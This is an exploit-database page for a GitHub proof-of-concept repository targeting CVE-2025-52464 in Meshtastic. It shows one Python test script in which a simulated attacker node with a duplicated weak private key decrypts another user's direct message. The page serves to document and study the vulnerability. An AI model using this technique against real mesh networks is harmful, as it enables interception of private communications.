Exploit database

GH-1d972c7e3b74035401e9780264f0829c

msdmehdipour/meshtastic-cve-2025-52464-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-52464

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files15
msdmehdipour/meshtastic-cve-2025-52464-pocRevision de08c744a69e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

test_attacker_decrypt.py

Python · 677 bytes
from node import Node

weak_key = b"\x01" * 32

alice = Node("Alice", vulnerable=True, weak_private_key=weak_key)
bob = Node("Bob")
mallory = Node("Mallory", vulnerable=True, weak_private_key=weak_key)

message = "Secret Meshtastic DM: meet at 18:00."

nonce, ciphertext = alice.encrypt_direct_message(bob, message)

bob_decrypted = bob.decrypt_direct_message(alice, nonce, ciphertext)
mallory_decrypted = mallory.decrypt_direct_message(bob, nonce, ciphertext)

print("Original message:", message)
print("Ciphertext:", ciphertext.hex())
print("Bob decrypted:", bob_decrypted)
print("Mallory decrypted:", mallory_decrypted)
print("Attack success:", mallory_decrypted == message)